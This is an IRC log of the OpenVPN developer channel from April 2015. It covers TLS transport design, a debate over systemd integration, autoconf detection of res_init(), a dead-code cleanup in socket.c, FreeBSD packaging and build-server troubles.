seconds] --- Day changed Sat Apr 18 2015 02:42 -!- mattock_afk is now known as mattock 04:39 -!- roentgen_ [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 05:20 -!- mattock is now known as mattock_afk 06:22 -!- mattock_afk is now known as mattock 07:52 -!- mattock is now known as mattock_afk 09:13 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 09:29 < s7r> how is TLS implemented in OpenVPN when used via UDP? TLS isn't TCP only (for UDP we have DTLS)?/ 12:15 < s7r> nobody around? 13:53 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 13:53 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 13:55 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 13:55 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 13:55 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:00 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 14:02 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:50 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 14:50 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 14:54 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 18:41 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Sun Apr 19 2015 01:21 -!- mattock_afk is now known as mattock 02:54 -!- mattock is now known as mattock_afk 03:24 -!- mattock_afk is now known as mattock 03:24 -!- mattock is now known as mattock_afk 03:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 03:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:26 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:18 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 04:19 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 11:09 <@plai> s7r: there is a protocol description, securiyt audit in the wiki 11:09 <@plai> tl;dr openvpn implment its own retransmit layer 12:08 < s7r> plai so openvpn has its own implementation of tls/ssl based security layer 12:08 < s7r> read some very very old stuff in the mail list (dated 2005) that devs want to migrate to dtls as the security layer standard? 14:28 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 15:43 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 16:45 <@plai> s7r: it uses standard tls just with its own "tcp layer" 16:46 < s7r> when used in udp mode? 16:47 <@plai> actually also in tcp mode 16:47 <@plai> more or less 16:48 <@plai> it still uses its own multiplexing 16:48 <@plai> See also http://openvpn.net/index.php/open-source/documentation/security-overview.html 16:48 <@vpnHelper> Title: Security Overview (at openvpn.net) 16:56 < s7r> doing some reading ;) 18:06 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 21:07 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 21:08 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Apr 20 2015 01:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:02 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:02 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 02:03 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:38 <@cron2_> mornin 03:38 -!- cron2_ is now known as cron2 06:03 <@plai> morning 07:43 -!- dazo_afk is now known as dazo 08:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:58 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:03 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:25 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 13:28 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:59 -!- s7r_w [~s7r@openvpn/user/s7r] has joined #openvpn-devel 14:01 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 248 seconds] 14:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 15:00 -!- s7r_w [~s7r@openvpn/user/s7r] has quit [Ping timeout: 248 seconds] 15:17 -!- Guest86751 [~s7r@openvpn/user/s7r] has joined #openvpn-devel 15:40 -!- Guest86751 [~s7r@openvpn/user/s7r] has quit [Ping timeout: 248 seconds] 16:10 -!- dazo is now known as dazo_afk 18:15 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 19:11 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving] --- Day changed Tue Apr 21 2015 00:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:18 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 245 seconds] 02:22 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:41 -!- dazo_afk is now known as dazo 05:35 <@dazo> mattock: can you dig up an e-mail address to a trac user 'alga'? In regards to ticket #372 05:36 <@mattock> dazo: yeah, just a sec 05:37 <@mattock> check pm 05:37 <@dazo> thx! 05:37 <@mattock> np 06:04 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 256 seconds] 06:08 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 06:12 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 256 seconds] 07:34 <@ecrist> mattock: you around? 08:12 <@cron2> ecrist is back! 08:12 <@cron2> ecrist: did you see my comment about your openvpn-devel port? 08:35 <@ecrist> no 08:36 <@ecrist> I'm going to guess it was something about how grossly out of date it is? 08:39 <@ecrist> I'll update the port today. 08:56 <@ecrist> cron2: https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=199580 08:56 <@vpnHelper> Title: Bug 199580 security/openvpn-devel: Update to 201516 development snapshot (at bugs.freebsd.org) 09:18 * dazo wonders how he would be massacred if he proposes to introduce {buf,gc}_vsnprintf() .... 09:20 * dazo decides to use the stack and vsnprintf() directly instead 09:33 <@dazo> cron2, plai, syzzer: what do you prefer ... using #ifdef ENABLE_SYSTEMD ... or that the code has NOP function calls if --enable-systemd is not used? 10:06 <@cron2> ecrist: actually it was something else. The port defaults to "LZO off, Snappy off", which means that the precompiled binaries also have this "off", which makes them unusuable for most practical deployments - so I'd like to ask you to change the default (reflect configure defaults) unless you have strong feelings 10:07 <@cron2> dazo: if we need to have systemd specific stuff at all, inside #ifdef ENABLE_SYSTEMD, please 10:11 <@dazo> cron2: the thing is that, it will be quite a few #ifdefs then ... because I'm going to provide more granular status reporting back to systemd 10:13 <@cron2> how many places are we talking about? 10:13 <@cron2> (maybe that should have been my first question :) ) 10:14 <@dazo> cron2: in addition, I'm considering to implement a watchdog mechanism, so that systemd can restart openvpn if it stops unexpectedly 10:14 <@dazo> right now, we have one or two places ... and I expect 4-5 more places without the watchdog 10:14 <@cron2> if openvpn "stops unexpectedly", it normally just ASSERT()s and is dead - even systemd can easily recognize that :-) 10:14 * cron2 has never ever seen a case where openvpn was still running but "not doing anything anymore" 10:15 <@mattock> ecrist: oh, was busy doing stuff, did not notice 10:15 <@dazo> I've had a few cases on the client side, when it suddenly couldn't resolve DNS 10:15 <@dazo> hostname 10:16 <@cron2> that is actually a bug in our configure stuff not detecting _res_init() if I remeber right and we should better fix that one :-) 10:17 <@cron2> well, for "one or two places", I'd go for the #ifdef, for "4-5 more", having a common "talk_to_systemd()" function that #ifdef's into an empty stub is certainly reasonable... 10:18 <@dazo> fair enough ... but there might be other cases as well, and I think it's a good thing to have a watchdog solution as a fallback when openvpn stops, be it a bug or a feature 10:18 <@dazo> (watchdog will not be enabled by default, but can be done optionally through config option) 10:19 <@cron2> every extra line of code has to be written, debugged, and maintained - and if the extra value is dubious because it's engineering for a case that just does not happen, it's not a good approach 10:19 <@cron2> and yet another configure variant makes testing the option combinations even more fun... 10:20 <@cron2> let's spend our time on fixing our bugs, not in making restarting-on-bug better 10:22 <@mattock> could openvpn unexpectedly shutdown due some external factor (without a bug in OpenVPN itself)? 10:22 <@dazo> I understand all that ... but what came first, chicken or the egg? Sometimes new features has a benefit but it is not easily seen before it comes into production ... I firmly believe active watchdogs surely has an advantage over passive ones ... And, this I took for granted, but I will of course take care of the systemd stuff here. And the code will be contained inside ENABLE_SYSTEMD 10:22 <@cron2> mattock: sure, but then it's dead, and systemd will detect that just fine 10:23 <@mattock> does systemd notice it instantly? 10:23 <@mattock> just wondering what the value of adding some watchdog code is 10:23 <@cron2> dazo: active watchdogs are cool, but if development resources have to go "this way" or "that way" due to limited resources, I prefer "fixing bugs" 10:23 <@cron2> mattock: openvpn could go into a loop, not quitting, but not working right either 10:24 <@dazo> cron2: That's what I'm doing ... I consider the poor systemd support a bug for modern Linux distros 10:26 <@cron2> dazo: well, I'd classify this as "nice to have" if we can get all the important things done, like "real bugs" (_res_init()) and "2.4 features" (AEAD review, interactive service, ...) 10:26 <@mattock> +1 for interactive service 10:26 <@dazo> (in fact, the reason I'm doing the sd_notify() work now is because my patch doing mkdir() was not accepted; I don't argue about that patch rejection - as sd_notify() is a far more elegant approach removing the need for pid files) 10:27 <@dazo> cron2: those areas I've understood others are working 10:27 <@cron2> we need the pid files anyway...? 10:27 <@dazo> not with sd_notify() on a system with systemd 10:28 <@dazo> MAINPID=... 10:28 <@dazo> The main pid of the daemon, in case the 10:28 <@dazo> init system did not fork off the process 10:28 <@dazo> itself. Example: "MAINPID=4711" 10:28 <@cron2> well, but the init system *does* fork the process...? 10:29 * cron2 doesn't understand 10:29 <@dazo> yes, and then the forked process reports its PID back to systemd ... for simple non-forking processes, systemd can take care of that 10:35 <@cron2> why are we not just running openvpn without --daemon, then? 10:35 <@cron2> no forking, direct child of systemd, full control, no pid file wrangling needed? 10:36 <@dazo> Because you loose the possibility to provide more fine grained status information to systemd ... which again other tools can use to provide a fairly nice overview over a running system, such as the cockpit project 10:36 <@dazo> (or whatever else tools people write, taking advantage of the systemd dbus interface) 10:37 <@cron2> but systemd would know whether openvpn is there or not? 10:37 <@dazo> For server mode, I'm going to report back how many connected clients are attached ... for client mode, I'm thinking of reporting which host it is connected to (as you can have more --remote statements) 10:38 <@dazo> so doing 'systemctl status openvpn@tun0' ... gives you an instant overview over what openvpn is doing right now 10:38 <@cron2> well, that's certainly nice, but actually unrelated to the PID reporting, right? 10:39 <@dazo> it uses the same API for reporting statuses as PIDs 10:39 <@dazo> sd_notify() 10:40 <@dazo> so I'm actually taking advantage of the features I'm provided 10:40 <@cron2> I still would like someone to actually fix #523... 10:41 <@ecrist> mattock: can you change your puppet config for sshd on the forum system to use port 774 for SSH? 10:41 <@ecrist> cron2: I'll look into that 10:41 <@dazo> cron2: uhm ... we do have a patch for that 10:41 <@cron2> (there's a patch inside, so if someone with more autotools understanding could review it, we might actually fix it :) ) 10:42 <@dazo> m-a seems to have pretty good understanding of autotools .... could we challenge him? 10:42 <@cron2> patch was sent to the list on 6 Mar 2105 by Nicholas Hall 10:42 <@cron2> since this is a linux-only issue, I'd guess m-a is out 10:43 <@cron2> dazo: Nicholas actually precisely describes the resolving bug you saw 10:44 <@dazo> fair enough, I'll hold back my watchdog patches for now, until people better understands the power systemd can provide to daemons 10:45 <@cron2> well, if you could share your energy between "linux related bugs" and "new code", that would be even better :-) 10:45 <@dazo> but I'm not going to stop pushing systemd patches .... and worst case, I'll have to add them additionally into Fedora/RHEL as out-of-tree patches ... as systemd matters at lot in that camp 10:45 * cron2 has BSD-related bugs and herding cats on his plate :) 10:45 <@mattock> ecrist: yeah, I can 10:46 <@mattock> I'll do it tomorrow 10:46 <@ecrist> thanks mattock 10:46 <@ecrist> It'll silence some of the messages in the security emails 10:46 <@cron2> (and iservice, actually... since d12fk gave me leeway to massacre his code into a new branch) 10:47 <@mattock> ecrist: ok 10:52 <@ecrist> cron2: I've made the change in the port patch I submitted. The bug is updated. 10:52 <@cron2> ecrist: thanks! This helps me operationally quite a bit, as I don't have to compile stuff anymore and can just do "pkg install openvpn-devel" (and "pkg upgrade") - which means "no autoconf and all that on the openvpn servers" 10:53 <@ecrist> glad I could help. 11:08 <@dazo> ehm ... from socket.c 11:08 <@dazo> if (false) 11:08 <@dazo> ; 11:08 <@dazo> /* are we running in HTTP proxy mode? */ 11:08 <@dazo> else if (sock->http_proxy) 11:08 <@dazo> plai: ^^^ any idea of why this odd if block is like this? 11:14 <@dazo> (this can be found more places in socket.c) 11:28 <@ecrist> cron2: that should be comitted shortly. 12:33 <@ecrist> cron2: you can build from the port at this point, but it'll be a day or so before the package repo is updated 12:37 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 13:19 <@dazo> cron2: btw ... the patch on #523 needs to be carefully tested on OSX as well ... the changes to configure.ac implements an extra check on 'darwin' 14:14 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:19 <@cron2> dazo: yes. I've been thinking about that issue, and need to research more - but right now i lean towards kicking this all out, and assuming that res_init() will always be present (= the check boils down to "find the right library to use") 15:21 <@cron2> dazo: regarding socket.c: this is the only way to get the various "else if ..." inside their own #ifdef clauses to produce proper C code, with a final "else", no matter which configure option is selected 15:21 <@cron2> (and then people wonder why I do not like #ifdef'ed code :) ) 15:22 <@dazo> those if (false) statements seems to be outside #ifdefs 15:22 * dazo agrees to presuming res_init() is always present 15:22 <@cron2> yes, they are, but there are two #ifdef blocks that have "else if (...)" in them, and a final "else ..." after the last #endif (at least in the first case) 15:23 <@cron2> the second case could propably written differently, but to make the if() blocks exclusive (so, not two independent if() but if () ... else if () ) with both being conditional is tricky 15:23 <@dazo> look at socket.c:1538 ... and :1822 15:23 * cron2 did 15:24 <@cron2> oh, wait, I checked release/2.3 15:24 <@cron2> plai got rid of a few #ifdefs 15:24 <@dazo> that might be different, yes 15:24 <@dazo> it might make more sense in 2.3 15:24 <@dazo> (didn't check that) 15:25 <@cron2> oh indeed, what I said makes totally sense in 2.3, but both #ifdefs have been killed, so the resulting "if (false) ; " bit is totally useless now 15:25 <@dazo> :) 15:26 <@cron2> linux, *bsd, OSX, solaris and AIX(!) have res_init (just checked man pages) 15:26 <@cron2> I'll kick off some more discussion on that 15:31 * dazo calls it a day 15:32 <@cron2> good night 15:33 -!- dazo is now known as dazo_afk 17:23 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 17:47 <@vpnHelper> RSS Update - tickets: #544: Simultaneous multiple VPNs cause route command failure <https://community.openvpn.net/openvpn/ticket/544> 18:21 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 18:22 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Wed Apr 22 2015 00:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:50 -!- Guest86751 is now known as s7r 04:53 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 05:07 -!- dazo_afk is now known as dazo 06:09 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 06:10 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 06:10 -!- mode/#openvpn-devel [+o raidz] by ChanServ 07:39 <@cron2> plai: thanks for the ACK, thought you'd like that patch :) 09:15 <@plai> cron2: np 09:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 10:44 <@cron2> now let's see if vpn-helper is back on duty... 10:46 <@vpnHelper> RSS Update - gitrepo: Fix leftover 'if (false) ;' statements <https://github.com/OpenVPN/openvpn/commit/0e3f894098f9286ec3e703ce16fe9bda0cd2c74e> 10:47 <@cron2> \o/ 11:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 13:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:40 <@cron2> lev__: had my first real user float today (VDSL broken, using LTE, VDSL came back, openvpn 2.3.6 client seamlessly floated to new IP, user happy) 13:41 <@cron2> \o/ 15:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 16:02 -!- dazo is now known as dazo_afk 16:03 <@cron2> this res_init() thing is amazingly complex 16:04 <@cron2> googling finds solutions with AC_SEARCH_LIBS() (seems to be in -lresolv on some platforms, and supposedly -lbind on others, and just "-lc" on most BSDs and Linux) 16:05 <@cron2> and of course there's MacOS X which does #define res_init res_9_init in /usr/include/resolv.h, so even checking for res_init() and __res_init() won't find the right library... 20:37 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 20:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 20:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Thu Apr 23 2015 01:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:18 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:17 <@plai> cron2: one more reason just assume res_init exists 03:34 < lev__> cron2: yay 03:54 -!- dazo_afk is now known as dazo 04:07 <@cron2> plai: definitely, but we'll still need to have code to find the appropriate library... I'll cook up a patch and test it on a few boxes... 04:27 <@cron2> plai: do you have a bit of time to review the two polarssl logging patches from syzzer (on the list since a while)? 05:30 <@plai> cron2: will put that on my todo list 11:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 11:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:28 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:59 -!- dazo is now known as dazo_afk 14:33 < n13l> cron2, dazo_afk, syzzer: Hi all, are there any comments related to the lastest EKM based Sample Plugin ? 17:38 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 17:45 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 19:39 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 20:27 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 21:07 -!- Guest86751 [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 21:08 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 22:41 -!- Guest86751 [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 22:41 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 23:07 -!- Guest86751 [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 23:53 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 23:57 -!- Guest86751 [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] --- Day changed Fri Apr 24 2015 00:04 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 02:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:06 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:18 -!- dazo_afk is now known as dazo 05:01 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 05:04 -!- Guest86751 [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 05:05 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 05:17 -!- Guest86751 [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 06:49 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 07:21 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 08:25 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 272 seconds] 08:40 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 09:31 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 10:59 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:28 <@dazo> n13l: sorry, I've been busy again ... it's still in my review queue, not forgotten at all! ... Can't promise you anything in next week, but I'll try to do an honest attempt to do some review 13:29 -!- dazo is now known as dazo_afk 15:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 20:34 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 21:05 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 21:10 -!- Guest86751 [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 22:38 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 22:40 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 22:43 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 22:44 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Sat Apr 25 2015 01:13 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 01:19 -!- andi [~andi@unaffiliated/fr00d] has quit [Disconnected by services] 01:20 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 252 seconds] 01:20 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 252 seconds] 01:21 -!- Haigha [~root@2001:41d0:1:d4e5:dead::42] has joined #openvpn-devel 01:27 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 01:44 -!- Guest86751 [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 01:58 -!- Netsplit *.net <-> *.split quits: Haigha, @syzzer 02:04 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:04 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:04 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 04:11 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 11:19 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 246 seconds] 11:19 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 246 seconds] 11:21 -!- floppym_ [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:21 -!- luckman212_ [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 11:23 -!- Netsplit *.net <-> *.split quits: @pekster, +krzee, luckman212, @plai, floppym 11:23 -!- luckman212_ is now known as luckman212 11:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:46 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:46 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 11:46 -!- mode/#openvpn-devel [+o pekster] by ChanServ 11:47 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:51 -!- floppym_ is now known as floppym 20:25 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 20:57 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has quit [Ping timeout: 264 seconds] --- Log closed Sat Apr 25 20:57:31 2015 --- Log opened Tue Apr 28 07:41:08 2015 07:41 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 07:41 -!- Irssi: #openvpn-devel: Total of 27 nicks [11 ops, 0 halfops, 1 voices, 15 normal] 07:41 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:41 -!- Irssi: Join to #openvpn-devel was synced in 6 secs 07:49 <@syzzer> cron2: I see you've been busy. Hoping to find some review time soon, but won't be today :( 07:51 <@cron2> syzzer: had fun, actually getting some stuff *done*, instead of just complaining that we "really should ..." :-) 08:45 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 272 seconds] 08:49 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 08:59 <@dazo> cron2: sorry about the misfire of an ack ... ignore the first one which only went to you privately 09:53 * cron2 is confused and goes read mail :) 09:54 <@cron2> ack \o/ I can close a trac ticket \o\ \o/ /o/ :-)) (but unfortunately, finish some work related stuff first) 10:08 -!- esde [~esde@openvpn/user/esde] has quit [Quit: .] 10:23 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 10:39 <@vpnHelper> RSS Update - gitrepo: Print helpful error message on --mktun/--rmtun if not available. <https://github.com/OpenVPN/openvpn/commit/4ad2b65d9deb3197d847d7dcc36715aa5394836f> 11:33 -!- crayon [~user@unaffiliated/button] has joined #openvpn-devel 12:11 <@ecrist> cron2: did my port updates last week work for you? 12:36 <@dazo> cron2: you can update my acked-by address to the redhat one 12:37 <@dazo> (no harm, just for the future) 13:44 <@cron2> davids@redhat.com? 13:44 * cron2 has that, that is "davids" :) - dazo updated 13:44 <@dazo> yeah 13:44 <@dazo> thx! 13:45 <@cron2> ecrist: didn't check yet, was busy wrangling tickets in trac... there is one that is waiting for feedback from you... 13:59 <@ecrist> which one? 14:28 <@cron2> you should have received a mail today :) - I put "waiting for feedback" init, no idea which one right now, touched 50 tickets today... but one you opened, about something not working... 14:35 <@ecrist> ok, I'll get email tonight when I'm home then 14:49 -!- dazo is now known as dazo_afk 15:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 15:49 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 15:54 <@vpnHelper> RSS Update - tickets: #545: CONTROL messages are highly fragmented <https://community.openvpn.net/openvpn/ticket/545> 19:28 -!- crayon [~user@unaffiliated/button] has quit [Ping timeout: 250 seconds] 21:13 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 21:14 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Wed Apr 29 2015 00:26 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 272 seconds] 00:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:30 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:53 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 00:53 -!- mode/#openvpn-devel [+o pekster] by ChanServ 03:01 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:21 <@plaisthos> Looking @545 it is also worth noting that I sporadically get reports that OpenVPN Connect connects faster than my client 03:25 <@syzzer> yes, I think 545 is one we need to tackle before releasing 2.4 03:26 <@syzzer> (if that is the one about the 100-byte control channel packets, at least) 03:28 <@plaisthos> yes it is 03:43 <@cron2> james said 3.x has been changed to use 1250 byte 03:44 <@cron2> (which I could not see in my tests, but then, maybe the connect client was too old) 03:44 <@cron2> syzzer: depending on the complexity of the necessary changes, I'd actually flag this as a 2.3.x candidate as well - "I declare this a bug!" :) 03:45 <@plaisthos> lemme see the old v3 code 03:45 <@cron2> but I haven't checked yet, could be totally trivial or highly invasive... the whole MTU/buffer thingie is... magic. Maybe even more magic than the option parser 03:47 <@cron2> mattock: pre-ack, even if the problem doesn't actually manifest itself today, the explanation makes sense 03:47 <@cron2> (I still think there are an amazing number of silly decisions involved in this whole mess, but we can't roll back the clock here) 03:48 <@plaisthos> the option parser is not magical anymore 03:48 <@plaisthos> I understood it ;) 03:48 <@cron2> plaisthos: maybe you just graduated to code wizard level 9 or so :) 03:48 <@plaisthos> nah 03:48 <@plaisthos> the options parser is easy once you understood how it works 03:48 <@cron2> what topic are you doing the PhD about, anyway? "Arcane Code Wizardry"? 03:49 <@plaisthos> nah 03:49 <@cron2> lol :) 03:49 <@plaisthos> software-defined networks 03:49 <@plaisthos> (solving arcane network problem by more arcane methods) 03:49 <@cron2> "making networks break in more interesting ways" :) 03:49 <@plaisthos> sure! :) 04:15 -!- dazo_afk is now known as dazo 04:31 <@mattock1> cron2: re: pre-ack: ok, I'll get to it then 04:33 <@cron2> mattock: thanks. Something else: is your windows buildslave building anything these days? I haven't seen anything - does that mean "it just works" or "it did not build"? 04:34 <@mattock1> lemme check 04:35 <@mattock1> it looks like it "should just work" 04:35 <@mattock1> at least the build was initiated 04:37 <@cron2> does it upload the result somewhere? Or just "compile locally" 04:39 <@mattock1> compile locally, but that could and should be changed 04:39 <@mattock1> some additional logic would probably be required in the script 04:39 <@mattock1> -> lunch 04:40 <@cron2> enjoy 05:57 <@mattock1> cron2: the build thingie was indeed not working 05:58 <@mattock1> it did not "cd" to the correct directory and could not load a vars file and then failed miserably 06:00 <@mattock1> the script actually does publish the snapshots in http://build.openvpn.net/downloads/snapshots, but that was also broken due to some directory restructuring on build 06:00 